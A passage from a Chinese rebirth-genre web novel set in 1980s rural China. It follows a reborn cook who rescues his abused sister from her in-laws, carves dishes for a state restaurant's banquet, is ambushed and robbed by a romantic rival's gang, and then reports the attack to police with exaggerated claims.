哥俩死死地盯着姐姐的脸:“说实话,你有娘家呢,有爸有妈,还有两个大兄弟,谁欺负你就是欺负整个老黎家……”
院子里,张母拉起儿子,上下打量,捏捏这里摸摸那里,生怕儿子哪里被打坏。
“伤到哪里没有,手脚没事吧,老头子,你还愣着干什么,赶紧去叫治保主任,让他报公安,我儿子绝不能被白打。”
张父瞪了老婆子一眼:“你就消停点吧,还嫌闹得不够大,不嫌丢人吗?”
“怎么就丢人了,男人打老婆天经地义,她娘家人凭什么插手,这是我们的家事。”
母老虎又撒泼,自有一套歪理邪说。
“你还知道这是家事,凭啥让秀去她娘家要钱,老二那时候,孩子已经拿了五百块了,麻雀都有指甲盖大的心呢,你怎么就不知足呢!”
张父没有胡搅蛮缠,农村老汉该有的朴实还在,只是这家里他说话站不住令,没人听他的。
“你个老不死的,到底哪头的,你儿子被打,你连个屁都不敢放,还有你们几个,你大哥被按在地上胖揍,一个敢帮忙护驾的都没有,你们老张家就是一窝子孬种,没有一个敢咬狼的狗。”
张母越骂越生气:“生你们几个,还不如生个鸡腿来得实惠,关键时候怂用都不起……”
屋里,黎秀支支吾吾不肯说实话,生怕两个弟弟干出傻事。
“姐,你说你傻不傻,这种事第一次就要给他长点教训,否则就会有下次,甚至会一而再再而三地打你,这次一定要给他张家人长点记性,否则你在这家里就抬不起头。”
“我哥说得对,这家人都是腚眼子太大,把心拉出去的杂碎,你一旦露出懦弱,他们就会拿捏你的软面性子。”
黎秀上次的伤好了没几天,一条蜈蚣似的疤痕趴在白皙的额头上,只要不是瞎子都能看见。
这也是最近一个多月黎秀没回娘家的原因,生怕父母看了伤心。
农村人有句老话,嫁出去的姑娘泼出去的水,她不想给娘家人添麻烦。
当初父母嫌弃张家穷,她自己猪油蒙了心一样非张威不嫁,现在日子过成这样,只能打落门牙往肚子里吞了。
“妈……妈,我们回来了。”
这时大门外有童声响起,是黎秀的两个儿子回来了,他们跟小姑子一起去别人家看电视剧“雪山飞狐”去了。
“大宝二宝回来了,别让孩子知道。”
第21章 劝和不劝离
两个孩子一进门就看见坐在地上的张威和奶奶,心里顿时就慌了。
要说父母在家吵架,伤害最大的莫过于孩子。
原生家庭对孩子的影响极为深远,有人说,幸福的人,一生都在被幸福的童年治愈,而不幸的人,一生都在治愈童年的创伤。
“奶奶……”
“爸”
大宝二宝茫然地叫地上的奶奶和爸爸。
“找你妈去,我不是你奶奶,他也不是你爸。”
张母尖细的嗓音吓了两个孩子一跳,顿时就委屈地哭了。
黎秀走到门口:“大宝二宝,快回来,妈在屋里呢!”
“妈……妈妈”
两个孩子哭着进屋,然后就看见两个舅舅。
“大舅,二舅。”
大宝稍微大点,知道叫人。
“嗯嗯,大宝乖,二宝,怎么不叫舅舅呢?”
二宝瞪着大眼睛,清亮的鼻涕挂在鼻头。
“大舅,二舅”
这时黎强才想起来,自行车还在门外呢,这玩意可是金贵品,有些庄户人家里还买不起。
而且给两个外甥买的好吃的还在车把上挂着。
黎军仔细回想了一下,上一世姐姐在二外甥结婚后离婚了,那时候人老珠黄也没有再找,终日闷闷不乐,日子过得极为恓惶。
这次看着姐姐还不到三十的年龄,他突然开口道:“姐,你……还是离婚吧,这样的男人不值得你再付出了,打老婆这事它……上瘾,他能打你一次,就会有第二次。”
前世他自己日子都过得一地鸡毛,也不知道该怎么劝说姐姐离婚。
八十年代离婚率极低,这跟当时的大环境有关,许多夫妻打打闹闹一辈子,都不会贸然提出离婚。
他们觉得离婚事件丢人的事情,是两个家庭的灾难。
有些女人,宁愿在婆家被打死,都不愿意提出离婚,因为离了婚,社会很难容纳她们,娘家人也会跟着遭人白眼。
黎秀瞪大眼珠子看着黎军:“你瓜了吗大弟,怎么能说出这种话,离了婚姐上哪去,大宝二宝怎么办,让村里人怎么说咱爸咱妈,老黎家丢不起这人。”
“我不要妈妈爸爸离婚,大舅是坏人……呜呜”
大宝已经七岁,大概懂点事了,一听大舅要爸妈离婚,当即就哭了。
“呜呜,我要妈妈,要爸爸……”
二宝一看哥哥哭了,虽然不懂事,但是跟着哭就完了,随大流嘛。
黎秀一把抱住大宝和二宝:“大宝二宝乖,妈不离婚,不会离开你们。”
黎军有些心塞,姐姐被打成这样,居然还不愿意离婚,这年头的女人得傻到什么程度。
“大宝二宝乖,看舅舅给你们买啥了。”
推自行车返回的黎强在门口听到大哥大姐的话,赶紧掏出一把大白兔奶糖给两个外甥。
两个小崽子一看到买糖,立刻就不哭了,二宝用袖子擦了一把鼻涕破涕为笑。
“谢谢二舅。”
“二宝乖,你跟大舅二舅说,妈妈的头是怎么破的?”
当姐的不说真话,黎强自有妙计。
“妈妈跟爸爸打架,被奶奶推了一下,头磕在桌子上了。”
黎秀面色尴尬:“都是过去的事了,这事姐会处理,姐白天要上班,大宝二宝还要他奶奶带,也是没办法啊!”
哥俩对视一眼,有些不好开口。
有道是好言难劝要死的鬼,所有的感同身受都停留在字面上,谁也不可能真的感受别人的苦难。
“姐,今天到底因为啥啊?”
这是哥俩共同的疑问。
于是黎秀把事情的起因说了一遍。
哥俩听后是勃然大怒,一家人怎么可能无耻到这种地步。
黎强先按捺不住了:“张家人这是在想屁吃呢,他儿子结婚,凭什么跟我们借钱,该他老张家的了,真是光屁股上街,不嫌磕碜。”
“姐,要不先跟我们回去吧,咱妈可以帮你带大宝二宝,先晾一晾这家人,否则他们真的会变本加厉的,我说的离婚你可以慢慢考虑下,你还年轻,重新找一个也不是什么难事。”
黎军还是建议姐姐离婚,在后世离婚就跟吃饭喝水一样简单,完全不是事。
“姐,你就听我哥的,先跟我们回去,至于离不离婚先晾他们一晾,张威这破烂一样的家,没你它就转不了。”
黎秀沉默了半晌,开始收拾自己跟两个孩子的衣服。
院子里,张威已经被自家人扶到台檐上坐下。
黎家哥俩十分默契,没有一下打在他脸上,但是身上肉厚的地方,此刻没有一处是不疼的,尤其是大腿和胯骨轴子,钻心一样的感觉让他都要忍不住尿了。
“妈,这些事情都怪你,我都说了,秀已经没钱了,你非得打她的主意,她娘家什么人我不知道吗,秀的钱人家一分都不会惦记。”
张威埋怨张母,媳妇的钱花哪了,其实他比谁都清楚,要她回娘家借钱他动了点心思,但是不多。
不过污蔑媳妇把钱给了娘家,他也不能答应。
“你这是在怪我了,你就眼看着你兄弟打光棍,真是娶了媳妇就成了白眼狼。”
黎秀收拾好衣服,两个弟弟一人一个大包袱,自己牵着两个孩子的手就往外走。
“你干什么去,两口子哪有不吵架的,一点风吹草动就要回娘家,还有没有这个家了。”
张母一看儿媳妇的架势,声音都劈叉了。
她清楚儿媳妇这是要干嘛,她这一走,这个家啥都需要她一个人操持,而且贴补的钱也就没了。
“我姐再不走,怕是连命都要没了。”
黎军一把推开挡路的张母,冷声道。
“猪窝一样的家,没有也罢,张威我告诉你,这事你要不给我姐一个说法,我打断你三条腿,再让我姐跟你丫离婚。”
黎强可没有黎军那么好说话,一番威胁后终究还是没忍住,往张威鼻梁又给了一锤子,两股鼻血顿时狂喷,这货脑瓜子嗡嗡的往后仰倒。
“啊……活不起了呀,没天理了啊,人都说劝和不劝离,哪有让自己姐姐离婚的娘家兄弟,我的大宝二宝啊,你们要没有爸爸了啊!”
“秀……你别走啊,有话好好说,我以后改,坚决改,我再也不打你了……”
张威流着鼻血,干嚎着追到门外。
黎强捡起大门边的一块板砖,作势就要砸向他的脑袋,这货脖子一缩退了回去,怕黎老二真的往他脑袋上来一下。
回到黎家,已经快十点了,黎父黎母一看闺女的脸颊和额头,直接就炸毛了。
“她麻辣个批的……我闺女在娘家一手指头都没动过……老娘这口气咽不下去,凭什么打我闺女?”
黎母直接就炸了,顺着张威的族谱往上骂。
“我这就去废了那狗日的,老子的闺女他也敢打,当初怎么答应的,这才几年过去,就敢动手了?”
黎军黎强哥俩嘴角直抽搐,老爸老妈这反应比他们大多了,可能不是他们身上掉下来的肉,痛楚没有触及到灵魂吧……
第22章 狗眼看人低的玩意
“姥姥……姥爷……”
大宝二宝的声音让二老冷静下来。
“英子,去把你大姐的屋子收拾一下,你大姐他们娘仨以后不回去了!”
“爸,你跟妈也别上火了,我跟强子把张威揍了一顿,估计一个月都下不来床了,你们俩跟我出来,我有事说。”
黎军自然是想父母好好的劝下姐姐,这样的婚姻早断早好,与其蹉跎青春,还不如及时止损,趁着年轻,姐姐还能再往前走一步。
“你胡说什么,两口子哪有不打架的,床头打架床尾和,离了婚你姐靠谁去,大宝二宝也不能没有亲爸。”
黎父黎母果断拒绝,他们的思想还停留在几千年的老传统中。
黎军翻了个白眼:“离了婚,我姐有正式工作,养活自己和孩子没问题,即便是离婚,张威也还是两个孩子的父亲,怎么就不能活了?”
黎母和黎父对视一眼,两个人同时摇头。
黎军叹了口气,要他们这种老思想允许姑娘离婚,看来还是任重而道远。
翌日天蒙蒙亮,黎军早起。
沿着村子外围往河边跑步而去,这些年晨练的习惯雷打不动。
初冬的田野有些清冷,薄薄的雾霭在田野上空笼罩,灰蒙蒙的天穹看不出阴晴。
沿着河岸跑了大半个小时返回,快进村的时候,一阵汽车轰鸣声响起,紧跟着,一辆吉普车由远及近。
黎军往车子开来的方向看过去,那边是华家庄的方向。
“不会是华家的乘龙快婿吧!”
一个古怪的念头在心头掠过,白天的时候,他见过侯胜利开着吉普车接华妮娜父女,觉得自己这想法很接近真相。
须臾间,吉普车从身边开过,因村道太窄,黎军往路边的麦地里让了一下。
透过车窗玻璃,他果然看见侯胜利的一头长发和欠扁的脸。
强烈的挫败感不由得袭来,自己跟华妮娜腻歪了好几年,平常就是拉手亲嘴,背地里顶到头就是摸摸那啥,想再进一步,华妮娜是死活不从。
再看看人家,也许见面都没几次,都留在家里过夜了,说不定俩人都那个啥了。
“泥马的,老子差啥了,这区别对待,狗眼看人低的玩意。”
某人心里胡思乱想。
回到家已经天色大亮,黎强推着自行车,后座上坐着大宝,这是准备送孩子上学去。
大宝的学校在跃进公社,需要提早送过去上学,于是暂时在家的黎强就负责接送。
哥俩打了个招呼,黎军回家。
跟父母交代了一下,让姐姐无论如何都不要回张家后,也骑着自行车上班去了。
一食堂今天有国营大厂工人办婚宴,左祖安让黎军负责雕刻,其实目的就是利用黎军的手艺,给一食堂增加点噱头。
婚宴这种酒席对饭店的宣传特别有利,来宾五花八门能赚够眼球。
十桌的量不算大,但是一个人雕刻的话,工作量也不轻。
黎军进后厨后,左祖安就提出要求,主宾两桌的凉菜需要摆盘装饰,头菜需要雕刻龙凤呈祥提升档次,大菜需要刻花装点,下饭菜也要做小型盘饰点缀一二。
黎军皱眉道:“老左,麻婆豆腐、小咸菜、牛肉羹要不要也雕刻点喜字啥的扔里边?”
“也行”
左祖安对黎军叫自己老左并无异议,对他颇有些戏谑的语气却想也不想就点头答应。
黎军都给气笑了:“你是逗比吗,听不出我这话的意思吗?”
左祖安一脸假笑:“你这提议很好啊,工作态度没毛病,就是工作量有些大,我安排两个凉菜给你打下手吧!”
一般情况下,一桌酒席只要头菜大菜这些硬菜上档次的装点一下就行了,咸菜汤羹上雕刻那就是麻袋绣花,凡事过犹不及嘛。
“我……工作态度个锤子,你觉得我是屁股上装马达了还是手上通电了,有这些活也不知道提前通知我?”
“打算通知你的,但是你昨晚提前走了,我找谁通知去。”
黎军突然觉得自己竟无法反驳:泥马的……在这等着我呢。
忙碌了大半天,放屁都要挤时间的情况下,婚宴正式开始,他的雕刻品也勉强按时完成。
新郎和父亲是机械厂的技术骨干,主宾席上,厂子几级领导和新郎新娘父母各自一桌。
当菜肴上桌之后,所有人都惊呆了,一个小县城的国营饭店,居然有如此惊人手段亮相,简直要惊掉一地下巴。
南瓜白萝卜雕刻的龙凤呈祥晶莹剔透、神采奕奕,不说头菜的品质和档次了,就这雕刻本身都足以惊艳全场。
心里美大萝卜的大丽花薄如蝉翼,形态逼真犹如采摘。
胡萝卜雕刻的金蝉、知了、蝴蝶、蜗牛……无不形态逼真,栩栩如生……
“李书记,上次咱们在安市饭店参加徐书记长公子的婚宴,也没有这个档次吧!”
农机厂厂长指着满桌的美味佳肴道。
安市饭店是当时西北最具盛名的国营大饭店,官方接待外宾的指定单位。
李书记四下里打量了一下:“除了环境没有安市饭店高档,菜品的确没的说,这卖相甚至犹有过之呢!”
“这个徐良也是个人才啊,饮食公司在他的领导下,做的越来越好了。”
种子公司一位领导赞许。
“要我说,还是那个什么左祖安有本事,饭店里,饭菜质量才是关键,没有好的厨子做扛把子,饭店提升就无从谈起。”
一个对饮食公司比较了解的厂子领导提出核心问题。
这种谈论在整个宴会大厅里此起彼伏,一食堂直接被推到行业天花板位置。
大厅里巡视的左祖安听的大鼻涕泡都要出来了。
吃过午饭,黎军和余家良在侧门外吸烟,就看见徐良带着一个身材高挑的妹子下了车。
看见黎军在那抽烟,明显愣了一瞬,然后换上笑脸,朝他招了招手。
“黎军来了,是老左调你过来的?”
黎军朝他点头:“嗯嗯,徐总来了,你吃过饭了没?”
“嗯……还没呢,去了一趟河北(渭河以北),接了个人,你方便的话帮我掂俩菜,你的手艺我是真的喜欢。”
本来是一句客套话,但是徐良这家伙明显是不按套路出牌的主。
黎军脸黑:这嘴欠的,就多余问这一句,给自己找事。
还能说啥,黎军讪笑着:“好嘞,徐总您等着,我这就去弄。”
余家良低声道:“黎哥,你看徐总带那个妹子,那屁股、腰窍,还有那大胸脯子……啧啧!”
黎军闻言,禁不住看过去,不过只看见一个高挑的背影。
“身材挺高的,没脸见布景!”
第23章 跟宋江那厮掰掰手腕
下午上班后,徐良带来的那个女孩没走,还换上了服务员的工作服。
经理刘亮给众人介绍说,这是新来的服务员,先在这里熟悉一下环境和工作流程,让几个老员工多带带她。
“各位……大哥大姐,我叫李莉莎,河北人,今年二十二岁,初中毕业……”
女孩略有些拘谨的自我介绍。
“美女,这是饭店,不是派出所,不查你的户口,没必要介绍这么仔细。”
“就是,主要介绍一下三围啥的,有无婚配这些才是正事。”
“家里还有没有其他姐妹,也重点说一下。”
几个老油子笑着打趣,李莉莎的脸刷一下就红了。
刘亮眼角直抽搐:“就你几个皮干,赶紧回去准备。”
黎军只看了一眼李莉莎,就觉得眼前一亮,心头狂跳,似乎这女孩就是自己寻找了两世的女人。
女孩说漂亮吧倒不是特别出彩,就是肤色白皙,一双眼睛比较有神,特别的灵动。
黎军不知道其他人看她的感觉是什么,反正他有心跳漏掉一拍的感觉。
李莉莎只是在黎军从椅子上站起的时候,无意瞟了他一眼,没办法,他的身高具有一定的吸精潜质。
晚饭点,食堂唯一的包间要来一桌重要客人,左祖安是相当的上心。
小跑进后厨,交代黎军赶紧再露一手,给其中几道硬菜雕刻几个饰品。
黎军点头,这要求也不过分,反正就是干活吗,食材雕刻也是他的爱好。
海瓜白凤丸(刺参扒鸡球)在当时属于高档硬菜,为了应景,黎军用南瓜给它雕刻了鱼跃龙门的饰品。
花仁鸡方雕刻的是雄鸡报晓,红烧甲鱼配的是南瓜盅……
大概用了一个小时搞定所有菜品的盘饰,黎军回到后厨,打算再忙碌一个小时就回家去。
姐姐还在家里,他打算今天回去给家人好好的做几个菜,重生一世,还没有跟一家人好好的吃一顿饭呢!
“等下老王,这几个菜让黎师傅弄。”
王家福正准备加工包间的热菜,左祖安指了指最里边的黎军,让他做包间的菜。
王家福撇了撇嘴,让打荷的把配好的菜端过去。
包间里的菜,一般都是他做,要是特别重要的客人,左祖安会亲自上手,对厨子来说,这是一种荣耀,是他们被认可的满足感。
黎军表示,这种满足感他不需要。但是左祖安需要啊,就指明让他做。
“做完我会提前下班。”
所有人面面相觑,上班三天,哪天不是没到点就跑了。
左祖安今天却很好说话:“没问题,你跟余家良是借调,不用扛到点,这几天你们都可以提前下班。”
于是黎军也得到相应的情绪价值,提早下班了。
同一时间,华家庄华老三家,马翠花和华妮娜打了鸡血一样在厨房里忙碌,家里好吃的全拿出来了。
风干的香肠、腊肉,自家老母鸡和鸡蛋,还有一条从河里捞的大鲤鱼。
母女俩一顿忙碌,干香椿炒鸡蛋、笋干炒腊肉、麻辣香肠,清炖老母鸡,红烧大鲤鱼纷纷被华龙华虎端进屋。
华家客厅里,五六个年轻人正在吞云吐雾,侯胜利人模狗样坐在主位,指着桌子上的美味佳肴呲出大板牙。
“哥几个别客气,就当在自己家一样,我老婆做饭手艺嘎嘎好。”
“侯哥放心吧,兄弟们跟你是不会客气的,你的就是我的,我的也是你的。”
一个大光头笑嘻嘻道。
“滚泥马的猪八戒(朱东升),你要是想说我老婆也是你的,就趁早给老子滚蛋,这是我老婆,不是那些乱七八糟的女……”
侯胜利说到这戛然而止,心虚的看了看左右,幸好华家人都没在场。
其他人会意坏笑。
“侯哥你这话就贬低兄弟们了,朋友妻不可欺,这点江湖道义我们还不缺。”
“对了侯哥,有事你就直说,还非得把哥几个弄到你老丈人家来,这一顿款待?”
“光是看这几个菜,我就知道你弼马温所图不小,平时都是一碗羊肉泡打发兄弟们。”
说话的外号智多星,本名党朝阳,是侯胜利这个小团体的智囊,平日里爱看小说,联想姓氏给侯胜利等人取了诸多外号。
“侯哥,你也别藏着掖着,有事说话,杀人放火咱哥们不敢,但是除了这些,就没有哥几个不敢弄的。”
“小钻风(张力)说的没错,杀人对咱哥们来说,是不能而不是不敢,谁叫咱哥们没生对时代,放在过去,咱好赖也上水泊梁山,跟宋江那厮掰掰手腕。”
几斤地瓜烧下肚,一群不知天高地厚的家伙就吹开了。
把个华龙华虎兄弟震惊的一愣一愣的,就差纳头便拜这一出了。
这姐夫哪里是霸气,分明就是相当霸气,都侧漏了好吧!
“也没多大事,这不是你嫂子在我之前处了个对象吗,退婚时发生点摩擦,被那家伙讹了几百块钱。”
侯胜利这嫂子说的非常的顺口,哪天夜里他假装喝醉,死皮赖脸留宿在华家,照顾乘龙快婿的事情,华父华母自然是推给了闺女。
华妮娜一个含苞待采的大姑娘,自然经不起侯少的软磨硬泡,最终就发生了不可描述的事情。
事后这货发现,华妮娜居然真的是个未经人事的大姑娘,于是心态改变,从随便玩玩改成了纳入正室。
“哎……我说侯哥,他们谈了几年,嫂子还是原装的吗?”
“猪八戒”到底没忍住心中的疑惑。
“哼……我侯胜利是那吃二道宴的人吗,女人是不是原装的,我一眼就能看出来。”
侯胜利傲娇的说道,并不去管还在场的小舅子。
“那侯哥啥意思,把对方讹去的钱要回来吗?”
“小钻风”问道。
“你呀,格局小了不是,哥们是在乎那点钱的人吗,主要是出气,若是真的把钱要回来,咱们国营饭店直接消费掉,整几瓶上档次的酒,换个口味。”
那时候钱比较值钱,三百块对侯胜利来说,也是不小的一笔款项,够他花小半年了。
“智多星”党朝阳想了想:“要出气还不容易,咱们这样……”
一番商讨之后,这群人就定下了计谋,打算今晚就给黎军一个深刻的教训。
用侯胜利的话讲,就是打的他妈都不认识为止,当然了,被讹去的钱那都不是事……
第24章 我被抢劫了
黎军加工完包间里的菜肴,看看时间六点多点,就骑着自行车去了趟二食堂,这里正在加班加点升级。
后厨和前厅的隔墙已经拆除,木质格挡已经打好,后期装上玻璃即可。
后厨的墙壁正在贴瓷砖,以后这里就是窗明几净了,干起活来心情都不一样。
刘小福非常地敬职敬业,工人施工,他全程监督,没有一刻懈怠。
看到黎军过来,他有些意外。
这时候的国营饭店,正式工差不多都是抱着混日子的态度,黎军这种有责任心的员工真心不多。
“黎师傅,你咋过来了,不是说一把手在一食堂招待吗?”
黎军只管做饭,并不知道谁在吃饭。
“刘经理好,我给包间做了一桌,左祖安就让我提早下班了。”
刘小福递给黎军一根烟:“哦……笑面虎那人阴险得很,遇到领导吃饭就往前凑,一般都不会给别人机会,今天怎么舍得让你做了?”
黎军听到这里,大概猜想到点什么,也没有在意。
两个人在施工现场聊了一会,黎军提了些建议,让在临街一侧的檐墙开几个橱窗,说是到时候可以开几个对外的项目。
其实都是后世的常规操作,但是用在这时候就了不得了。
刘小福就觉得二食堂这次是捡到宝了,转业来的厨子鬼点子那叫一个多,简直就是一个智多星。
“对了刘经理,到时候给我留一间宿舍,下雨下雪天就可以住在食堂里。”
“没问题,二楼十几间房都闲着,那个大厅也没啥客人上去。”
刘小福说起这个,黎军突然想到个事情,随口就说道:“其实我还有个想法,到时候生意上来了,咱们把二楼全部改成包间,有些领导吃饭不想被熟人碰上,有包间的话就可以避免这种尴尬,你觉得咋样?”
黎军这个想法是给承包以后打基础,到时候接过来不用重新再装修,直接就可以开业,分分钟又省下一大笔资金。
刘小福想了想:“嗯,到时候再说吧,先把生意搞上去,要不然上边也不批钱呐。”
俩人就升级后的菜谱谈论了一会,看看时间已经七点多了,就各自离开了。
黎军骑着自行车,一路往回走,这时候县城以外都是土路,路面窄不说,更是坑坑洼洼几乎没有一块平坦的。
初冬的夜晚弯月如勾,路面灰白,黎军骑着二八大杠,一路思考怎么劝说姐姐离婚,根本没注意前方拐弯处,一辆吉普车悄然熄火,几个黑影从车里下来,往路基下的麦田里跳下去。
自行车拐弯后,黎军就看到前方不过十几米停着的汽车。
手还没来得及捏住刹车,前轮突然被人塞进一根木棍骤停。
黎军大长腿刚撑住车,背后就有破空声响起,然后脑袋就彻底陷入黑暗。
他第一时间就反应过来,自己这是被套麻袋了,以前小时候,他也没少整这出。
“嘭”
来不及做出反应,头顶就被一股大力击中,黎军只觉得一阵头晕眼花,紧跟着就是密如雨点的暴击。
本能防范措施,他只能双手抱头,左冲右突,并试图扯下套住上半身的麻袋。
“卧槽,你们什么人?”
“要你命的人,打死你狗日的。”
“狗日的,谁的女人都敢惹”
“胆子肥了,谁的钱都讹……”
“泥马的长这么大块头,当自己屎尿龙吗?”
那时候第一滴血刚上映不久,硬汉形象影响了不少年轻人。
这些声音一出,黎军心里顿时明镜似的,禁不住咒骂。
“一群煞笔”
靠在吉普车上的侯胜利听到这些话,整个人都要不好了,心里是忍不住怒骂:你麻辣皮的一个个瓜皮二百五吗,话比屎都多。
身上挨了无数暴击,黎军终于将头上的麻袋扯下,伸手抓住一根打过来的棍棒就要抢夺。
身后却有破空声再次响起,后背和头顶再遭重击。
侯胜利六个人有备而来,都是常年打架斗殴的老手,黎军再怎么勇猛,也是双拳难敌四手。
在他撂翻两人之后,自己也因被数次重击,倒地后失去反抗能力。
“小钻风”张力蹲在地上,拍了拍黎军的脸颊。
“幸亏知道这货练过,要不然咱们几个还真的弄不过他。”
党朝阳从地上爬起来,接过侯胜利递过来的烟,也挪步到黎军身边打量。
其实他是怕打死了人,过来检查黎军伤势的。
给自己和张力点上烟之后,用没烧完的火柴在黎军脸上照了照,看他喘着气瞪着自己,也就放下心来。
“没死,还有力气瞪人呢,哥几个走了。”
几个人起身,扔掉手里的短棍,十分潇洒烧包地上车,仿佛港片里的黑社会一样。
朱东升临走时,突然看见黎军上衣兜里露出的大团结一角,伸手就给掏走了。
他们这群人偷鸡摸狗惯了,出门不顺点东西都算是丢东西的人,看见到手的现金,不眼热才怪。
等吉普车开走后,躺在地上的黎军笑了,而且笑得非常猥琐。
“泥马的侯胜利,敢打老子,看老子能不能讹死你就完了!”
嘀咕完后,他先是自检了一下伤势,只觉得浑身脑袋疼,就没有一块是不疼的。
尤其是脑袋,摸一把血呼刺啦的粘手,很明显是被开瓢了。
好在没有伤筋动骨,于是挣扎着起身,将散落在附近的棍棒都收集起来,解下鞋带捆在自行车后座上。
准备骑车时,才发现自行车前轮已经瓢了。
“卧槽……这群人还是惯犯啊!”
城关派出所值班室,两个公安正围着炉子烤馒头。
今年似乎冷得比较早,刚入冬气温就下降到零下三四度了。
“咚……咚咚”
这时有人敲响临街的窗户,一个公安趴在玻璃窗往外看,就看到一个人影缓缓倒下,不远处还有一辆自行车倒在地上。
“快,有情况。”
两人急忙冲出值班室,将倒地的人影扶起。
“同志,醒醒”
“同志,你这是咋了?”
一个公安摇晃着黎军的身体。
黎军其实毛事没有,就是在卖惨。
“公安同志,我要报警,我……今天回家路上……被人抢劫了。”
黎军虚弱的说道,仿佛下一刻就要噶了。
一个公安用手电筒照了照他的脑袋:“杨坤,要不先送医院吧,都成血葫芦了?”
第25章 你为啥不掏裆呢
人民医院急诊室,黎军的脑袋缝了十二针。
护士对两个公安说:“伤口挺深的,失血不少,伤者有些虚弱,需要留院观察一下,他家属没来吗?”
“自己来派出所报案的,还没说话人就昏了,我们现在能问话吗?”
“可以,尽快联系一下他的家人,让把费交了。”
公安嘴角抽搐了一下没接话,直接进了急诊室,缝合的大夫还在里边。
“同志,你现在感觉咋样?”
一个公安打开笔记本问道。
“头晕,恶心,浑身乏力,两眼发黑,天旋地转,公安同志,我是不是快死了。”
黎军有气无力道。还说啥呀,典型的脑震荡呗!
大夫看了一眼两个公安,大概猜到点什么:“伤者失血挺多的,有脑震荡症状,可以确定是轻伤害了。”
“大夫,请给我出具就医记录详情,我需要伤情鉴定,我这是被人拦路抢劫了。”
两个公安相视一眼,觉得伤者懂得挺多。
“大夫,他现在身体没事吧,我需要给他做个笔录?”
“没事,去观察室吧,一会护士过去给他挂点滴。”
观察室,公安坐在黎军对面,在笔记本上写写画画。
“打你的有几个人,地点时间都说一下?”
“六个……凶神恶煞的,说自己是什么帮派,生错了时代……”
当前情况,自然是怎么性质恶劣怎么来了。
“你能描述一下当时的场景吗?”
“可以……”
黎军仔细描述了一下经过,当中也少不了添油加醋一番,最后特意说明了一下,对方在自己身上一通乱摸,在上衣口袋掏走了一百多块钱。
“你说他们是开车走的,什么车型,知道车牌号吗?”
一个公安问道。
这时黎军突然想起个事,侯胜利的老子是红旗公社书记,于是多了个心眼。
“公安同志,我能打个电话,通知一下家人吗?”
公安求之不得,有家属他俩就不用垫付医药费了,派出所报销还挺麻烦的。
老干所里,黎老爷子的房间,几个老头正在喝着茅台酒,回忆他们的峥嵘岁月。
“老牛,我大孙子孝顺吧,这茅台酒就是他给我买的,他转业到二食堂了,以后天天给我买酒喝。”
黎老爷子骄傲得很,他后代算是人丁兴旺,到这个时候,有国家养老,人生已经趋于圆满。
“你牛批,跟你比我都不如死在战场上痛快,两个儿子没一个顶用的,丫头片子生了好几窝,连一个带把都没有,我老牛这一脉眼瞅着就要绝户了,真是不甘心啊!”
黎老爷子嘴角直抽搐,他们这一代重男轻女思想很严重,知道自己捅到老牛的肺管子了,于是不接话直接倒酒掩饰。
这时敲门声响起,一个小士兵推开门报告。
“黎老,人民医院打电话过来,说您孙子在那,问您方便过去一下吗?”
老爷子身体硬朗,黎军把电话打给他也没啥心理负担。
“我孙子……哪个孙子?”
老爷子有十个孙子,成年的都有六七个。
“说是叫黎军,被人拦路抢劫了,还受了不轻的伤,您要去的话,我这就去开车?”
一听说大孙子受伤了,老爷子哪里还坐得住,茅台酒顿时都不香了。
“那还等什么,赶紧发车去。”
观察室里,两个公安无语地看着黎军:“你是打给你爷爷的,老人家身体咋样,这都九点了?”
“没事,我爷身体倍棒,一顿能喝一斤白酒吃一两斤猪头肉呢,你们接着问!”
“你记得车牌号吗?”
黎军想了一下,直接报出车牌号,因为侯胜利开的吉普车他见过好几次了。
“开车的叫侯……侯啥来着……对了,侯胜利,我听他们这么叫过。”
侯胜利的名字不是打他的人叫的,而是华老三在派出所门口说的。
两个公安相视一眼,都在对方眼里看到了不知名的光彩。
这简直是泼天的功劳啊,知道车牌号还知道嫌疑人,还是拦路抢劫蓄意伤人的大案。
“杨坤,先上报吧,刑事大案需要通知刑警队。”
“那行,我去打电话报告,你接着录口供,尽量挖细节。”
功夫不大,一辆吉普车开进医院,直接在观察室门口停了下来。
一高一矮两个老人从车上下来,两个人虽然看着头发花白,但都是龙骧虎步,精神头十足。
“在哪里?”
黎老爷子没进过医院,不知道观察室在哪。
“那不是吗,进去看看。”
一进观察室,黎老爷子一眼就看见自己的大孙子,脑袋被纱布包成了猪头,露出的脸颊肿胀淤青,分明就是遭了老鼻子罪。
“废物,简直就是废物……”
中气十足的怒吼,将留下的公安吓了一跳。
“部队的白米细面被你腾空几十袋子,就养出你这么个废物点心,国家训练你还不如训练一头猪有用。”
公安都懵了。
黎军一脸委屈:“老头,你还是不是我亲爷,那帮王八蛋搞偷袭,要不然我一个人能打十个。”
“偷袭也不能被打得跟鬼子似的,真是丢我老黎家的脸面,白长那么大块头,你为啥不掏裆,掏心窝子,照太阳穴招呼,不会往后脑勺下死手吗?”
黎老爷子被气得不轻,把自己徒手撕鬼子,死干美丽国黑鬼大头兵那一套说了出来,
公安听得下巴都要掉了,大清早亡了好吧,这老爷子是真敢说啊!
“嗯哼……老黎,这是新社会,你早就退休了!”
牛老提醒道。
“哦……你这啥情况,已经报公安了?”
黎老爷子回过神来,看了看公安后问大孙子。
“嗯,我被打成这样,还被抢走上千块钱,能不报案吗?”
公安赶紧翻了下笔记本,然后提醒道:“黎军同志,你刚才说的是一百多块。”
“哦……我被打得脑子有点迷糊,应该是一千多,我当兵八年的转业费刚取出来,准备给我爷买酒呢。”
公安有点意外,居然是个八年老兵,同时也有点无语,你这啥家庭,拿一千多块买酒,挺豪横啊!
不过还是在笔记本加上了一行字。
“黎军同志,你确定打你的人名字吗?”
黎军点头:“非常确定,领头的就叫侯胜利,打完我还蹲在我身边检查,大概是看我死了没,他的同伴就是这么叫他的。”
这时出去打电话的杨坤回来了,身后跟着二十几个全副武装的公安。
“车牌号核实了,是红旗公社的公用车辆。”
“抓人”
带头的公安看了看笔录,直接挥手说抓人。
“等等”
黎老爷子突然叫住公安。
“这位老爷子,您是?”
黎老爷子一生戎马,虽然早就退休,说话却自带压迫属性,一身洗得发白的旧军装无形放大了一些威压。
“我就是普通老百姓,我是想问你,如果是官方人涉案,你们会不会徇私枉法?”
带头的公安表情严肃:“老同志,请您相信,我们是人民公安,忠诚于党,服务人民……
黎老爷子笑了笑:“那就好,记住你们是为人民服务的就好。”
公安带人走了,黎老爷子看着大孙子:“你叫我来,也是这个意思吧?”
黎军竖了个大拇指:“还得是我爷,那个侯正东当了十几年的公社书记,人脉恐怕很复杂。”
